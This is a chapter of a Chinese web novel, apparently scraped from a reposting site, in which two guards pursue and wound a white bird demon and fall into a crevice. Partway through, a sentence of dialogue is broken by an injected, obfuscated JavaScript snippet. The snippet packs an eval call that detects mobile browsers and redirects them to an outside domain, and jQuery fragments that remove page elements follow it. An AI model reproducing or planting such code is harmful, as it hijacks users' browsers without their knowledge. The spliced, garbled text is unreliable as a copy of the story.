22.晋.江独家发表

作品:《失忆怀了死对头的崽

    随着柴堆越烧越旺,夹杂着难闻气息的浓烟弥漫开来。


    闻潮落不喜欢这味道,但他并未离开,而是立在祁煊身后,视线牢牢笼罩着燃烧的火堆,一手按在腰间的匕首上。


    就在这时,一声鸟鸣自天际响起。


    闻潮落抬眼看去,便见一只白羽的大鸟冲着火光而来。


    祁煊反应极快,即刻放箭。


    箭羽划破浓烟,一击即中,穿过了那只鸟的半边翅膀。随即,大鸟身体失去平衡,扑腾了几下,直直朝着地面坠去。


    “中了!”闻潮落开口。


    “呦吼!”在场的牵狼卫齐齐发出欢呼。


    由于事情突然,祁煊并未来得及朝他们详细解释,因此他们此时并不知祁煊射中的是怎样一只鸟,只是在为祁副统领的箭法呐喊。


    “在这儿等着。”祁煊将弓递给闻潮落,朝着鸟坠落的地方奔去。


    闻潮落手里攥着那张弓,立在原地,视线却一直跟着祁煊。


    不知是不是直觉作祟,他总觉得事情过于顺利了……


    果然,就在祁煊距离那只鸟仅剩一丈远时,坠地的白鸟忽然振翅,竟然再次腾空而起。此时它宽大的翅膀上,还镶着祁煊射出的那支箭,那情形极其诡异。


    糟了!


    闻潮落心中咯噔一下。


    若他和祁煊所料不错,这只鸟妖应该是杨大的孩子所化。可他们在杨大家里,看到了新写的字,这就意味着这只鸟妖,在异化后,依旧可以化成人形。


    依着国师那本书《妖异怪志》所记,只有高阶的妖异才能在异化后再次化成人形。而高阶的妖异,有着极其强大的妖力,哪怕受伤也可以很快自愈。


    所以祁煊那支箭,根本要不了白鸟的命。


    “小心!”闻潮落大喊。


    他顾不上其他,快速从一旁的牵狼卫箭筒中抽了一支箭出来。


    白鸟朝着祁煊俯冲而下,在即将落爪的一瞬间,一支箭擦着它的脑袋飞过,掠掉了几片羽毛,惊得它再次腾空而起,发出了尖锐的鸣叫。


    “别让它跑了!”


    闻潮落一边大喊,一边摘下牵狼卫的箭筒,挂在了自己身上。他动作极为利落,抽箭搭弓,瞄准放箭,一气呵成。


    这只妖异太强了。


    更棘手的是,它——或者说他的原身,是心智不成熟的孩子。经历了先前的事情,又目睹了双亲的死,若他对人类心生怨恨,将来必定后患无穷。


    白鸟似乎觉察到了危险,未再冒进。


    盘旋了片刻,转头朝着来时的方向飞去。


    闻潮落眼看他要逃跑,一手握着弓疾步追去。可白鸟即便翅膀上插着一支箭,动作也极为利索,闻潮落双脚再快也不可能追得上他。


    眼看白鸟已经快要脱离视线,闻潮落又气又急。


    “二郎!”就在这时,闻潮落背后忽然响起了马蹄声。不等他反应过来,便觉身体一轻,被人拦腰捞起托上了马背。


    “东南方向,快!”闻潮落道。


    “坐稳了!”祁煊一手控着马缰,一手揽着闻潮落的腰,防止马跑得太快把人颠下来。


    白鸟冲破黑夜,扑闪着翅膀越飞越远。但他翅膀上插了一支箭,飞翔的速度和高度多少会受到影响。


    祁煊控马急奔,一直缀在白鸟身后。只可惜黑暗中视线受阻,再加上马背颠簸,闻潮落射出了两支箭,都堪堪擦着白鸟的翅膀划过。


    “不能让他跑了,错过这次机会,下次再想找到他的踪迹就难了。”闻潮落道。


    “还有几支箭?”祁煊问。


    闻潮落伸手在箭袋里一摸,“只剩四支了。”


    “省着点用,别心急。”祁煊说着一夹马腹,“你目力好,盯住他的方向,我来控马。”


    上次在山洞里抓回老张时,祁煊在黑暗中几乎没看到老张的影子,闻潮落却能隔老远就把人看清。所以哪怕在黑暗中,他也能以超越常人的目力,锁定白鸟的身影。


    闻潮落没再尝试射箭,而是一手握着弓,一手稳住身形。


    “二郎,先换个位置。”祁煊一手环住闻潮落。闻潮落会意,抱着他的腰借力,自马背上翻了个身,坐到了祁煊身后的位置。


    “抱紧我。”祁煊道。


    闻潮落将弓往肩上一挂,两手环抱住了祁煊的腰。


    祁煊没了顾忌,两手控马,速度登时又快了不少。


    那抹白影原本已经快在闻潮落的视线里消失了,在祁煊的追赶下,竟又越来越近。闻潮落眼看时机成熟,摘弓搭箭……


    电光石火间,白鸟忽然俯冲而下,身体被横亘的城墙挡住了。


    两人不知不觉间,竟已追赶白鸟到了城墙下。


    “糟了,他出城了!”闻潮落心凉了半截。


    “没事,有我呢。”祁煊奔马朝着最近的城门,远远便摘下了腰牌,朝守城的士兵喊道:“牵狼卫办差,速开城门!”


    祁煊在闻潮落面前经常嬉皮笑脸,可实际上他的气质十分冷冽,在外哪怕不认识他的,见了面也难免被他身上的威压震慑。此时他策马疾驰,一袭玄衣,更显凌厉。


    天刚蒙蒙亮,本就快到了开城门的时辰。


    守城的士兵见是祁煊,丝毫不敢怠慢,几人飞奔着合力打开了城门。


    如此,祁煊几乎没有停马,带着闻潮落径直穿过了城门。


    到了城外,白鸟已经消失的身影,再次出现在了视线中。


    “我看到他了。”闻潮落惊呼,同时指了指方向。


    祁煊纵马急追,牢牢将白鸟的身影拉到了闻潮落的射程之内。


    白鸟慌不择路,朝着林间飞去。


    祁煊控马转了个方向。


    林间久无人至,荒木横陈。


    眼看马就要被挡在半空的横木绊倒,祁煊却一扯马缰。


    “抱紧点!”


    话音方落,骏马扬蹄纵跃,自横木上一跨而过,稳稳落地。


    闻潮落抱着祁煊劲瘦的腰腹,心脏猛地一跳……这一刹,与他年少记忆中的一幕,骤然重合在了一起。


    那年闻潮落只有十二三岁。


    太子组织京中的一帮少年围猎,定的彩头是一把镶金长弓。那把弓好不好用且不说,但镶金的工艺极其考究,看着很漂亮,闻潮落一眼就相中了。


    为了得到那把弓,闻潮落在猎场上十分卖力。前半程他收获颇丰,几乎稳操胜券,然而后半场却出了意外。


    由于猎场是太子临时选定的,前期准备时不如正式围猎那般严苛,清场时有遗落的兽夹未被发现。好巧不巧,闻潮落的马踩中了兽夹,害他摔得都挂了彩。


    若是换了平时,闻潮落吃痛,多半不会继续掺和,而是会立刻回去疗伤。可他实在喜欢那把弓,生怕被人抢了彩头,不愿放弃。


    后来他也记不清是怎么和祁煊达成了合作。


    少年闻潮落箭术了得。


    祁煊马术亦是出类拔萃。


    两人一个控马,一个挽弓,配合无间,在猎场中肆意穿行,几乎百发百中。


    后来,闻潮落拿了彩头。


    那把镶金的长弓,至今还挂在他的书房里。


    “二郎,搭弓!”祁煊开口,同时压低了身形。


    闻潮落自短暂的失神中,收回意识,抽箭搭弓。


    箭羽划破林中的空寂,直飞向那只白鸟,稳稳钉在了白鸟的另一只翅膀上。白鸟两只翅膀均被钉上了箭,直直坠落在地。


    “漂亮!”祁煊忍不住喝彩。


    “必须控制住他,不然他很快就会恢复。”


    闻潮落跳下了马,祁煊紧随其后。


    “既然怕他跑了,怎么不射鸟的身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440257|184294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体?”祁煊问。


    “有没有可能是瞄不准呢?”闻潮落道。


    “我那一箭是瞄不准,你这一箭分明就是故意的。”祁煊对闻潮落的准头,从不怀疑。


    闻潮落被他这语气取悦了,开口道:“杨大家里有两个失踪的孩子。”


    这只白鸟若是其中一个,那另一个呢?是藏在这深山中,还是化成了另一只妖异?若闻潮落一箭了结了这只白鸟,就等于切断了所有线索。


    两人快步寻到了白鸟坠落的地方,草丛中沾着不少血迹,还有几片羽毛。


    “他伤得很重。”闻潮落说。


    “小孩子受了伤,一定会去寻找家人的安慰。跟着他,就能找到另一个孩子。”祁煊说罢环视四周,想确认一下周遭的情况。


    闻潮落摘了一片沾血的草叶,凑近嗅了嗅。淡淡的血腥味自鼻息间散开,宛如一道蜿蜒的丝线,自闻潮落鼻间延伸至不远处的密林之中。


    “这边。”闻潮落朝着东南方向行去。


    “你的五感比我见过的所有人都更出色。”祁煊低声道:“不止是人,营中的细犬都未必有你这么厉害。”


    “你怎么不拿自己跟狗比?”闻潮落朝着他肋间捅了一肘。


    祁煊吃痛,却不着恼,言语间满是纵容和欣赏,“我夸你呢。”


    “闭嘴吧你。”闻潮落大步朝前,却不妨脚下一空。


    但祁煊早有防备,一把搂住他的腰,将人生生从悬空的地缝中拽了回来。


    “是陷阱吗?”闻潮落惊魂未定。


    “不像人为的。”祁煊俯身看了看,“像是地陷形成的裂缝,就像灵山上那条,只是这个裂缝更大一些。”


    闻潮落仔细一看,发觉脚下确实有一道延伸出去的裂隙,约有近半丈宽,只是其间草木茂盛遮盖住了,不细看不易察觉。


    方才他只顾着追寻白鸟的踪迹,忽略了此地的异样,幸好祁煊反应快。


    “奇怪,这个月份此地的草木怎么如常茂盛?”闻潮落纳闷。


    “许是地下有温泉之类的,比较暖和。等我找块石头探一下深浅。”祁煊说着便回身打算找石头。


    然而就在这时,闻潮落脚腕一紧,像是被一只手握住了一般。不等他反应过来,那只“手”便骤然发力,将他朝着地缝中用力扯了下去。


    “祁煊!”闻潮落惊呼一声。


    就在他跌进地缝中的一瞬,忽然被人攥住了手腕。


    可惜为时已晚,祁煊虽拉住了人,却无处借力,两人齐齐跌进了地缝中。


    “唔,你……咳咳!”闻潮落被摔得七荤八素,“你快把我压死了!”


    “没事吧?”祁煊伏在闻潮落身上,一脸紧张。


    “方才是什么东西?”闻潮落抬眼,越过祁煊肩膀,猝不及防对上了一双泛着红光的眸子。


    那双眸子的主人初时是十来岁的男孩模样,顷刻间却幻化成了白鸟,伸出利爪朝着祁煊的脑袋便抓了下去。


    白鸟爪子锋利,曾抓烂过胡赖子的脑袋。


    这一爪子下去,祁煊必然脑浆迸裂。


    “小心!”闻潮落大惊,抱着祁煊一个翻身,试图躲过那一爪。


    可白鸟居高临下,反应比他更快,那一爪虽然偏了几寸,却还是结结实实抓了下来。


    闻潮落只觉后颈一热,一股热流伴随着浓烈的血腥味,沿着他耳畔蜿蜒而下。


    但他预料中的疼痛并没有到来。


    怎么回事?


    闻潮落来不及多想,祁煊已经抱着他就地一滚,躲到了一块巨石后头。


    “没事吧?”祁煊低声问道。


    “你……”闻潮落眸光一顿,就见祁煊手背上横着一道触目惊心的抓痕,伤口皮开肉绽,深可见骨。


    方才那一瞬。


    祁煊用手,护住了他的脑袋。